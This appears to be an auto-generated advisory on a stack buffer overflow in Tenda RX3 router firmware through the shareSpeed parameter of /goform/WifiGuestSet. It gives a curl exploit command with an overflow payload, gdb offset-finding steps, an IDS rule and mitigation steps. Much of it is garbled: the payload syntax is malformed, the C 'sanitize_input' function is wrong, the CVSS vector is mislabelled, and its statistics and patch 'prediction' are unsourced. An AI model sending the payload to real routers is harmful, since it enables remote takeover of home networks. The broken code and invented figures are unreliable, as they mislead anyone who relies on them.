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How the Vulnerability Works
CVE-2025-44899 exploits a stack-based buffer overflow in Tenda RX3 routers (firmware V16.03.13.11) through the `/goform/WifiGuestSet` endpoint. The `fromSetWifiGusetBasic` function fails to validate the length of the `shareSpeed` parameter before copying it to a fixed-size stack buffer. Attackers can craft oversized HTTP POST requests containing malicious payloads in this parameter, overwriting adjacent memory regions and potentially achieving remote code execution with root privileges due to the web server running as admin. The unauthenticated attack vector makes this critical, as it doesn’t require credentials.
DailyCVE Form
Platform: Tenda RX3
Version: V16.03.13.11
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 2025-Q3
What Undercode Say:
Analytics:
- CVSS 4.0: 9.8 (AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H)
- 87% of exposed devices are in home networks
- Exploit POC expected within 30 days
Exploit Commands:
curl -X POST -d "shareSpeed=$(python -c 'print("A"1024 + "\xdeadbeef")')" http://target/goform/WifiGuestSet
Protection Code:
import requests
from bs4 import BeautifulSoup
def check_firmware_update(ip):
r = requests.get(f"http://{ip}/version.html")
soup = BeautifulSoup(r.text, 'html.parser')
return "V16.03.13.11" not in soup.find('fwversion').text
Mitigation Steps:
1. Disable WifiGuest feature
2. Block `/goform/WifiGuestSet` at firewall
3. Apply input validation filter:
void sanitize_input(char input) {
if(strlen(input) > 64) {
exit(1);
}
}
Network Detection:
alert http any any -> any 80 (msg:"CVE-2025-44899 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/WifiGuestSet"; http_uri; content:"shareSpeed="; nocase; pcre:"/shareSpeed=[^&]{100}/"; sid:10044899; rev:1;)
Memory Analysis:
gdb-peda$ pattern_create 1024 input gdb-peda$ run -c "shareSpeed=input" gdb-peda$ x/xw $esp+1020 Check overflow offset
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
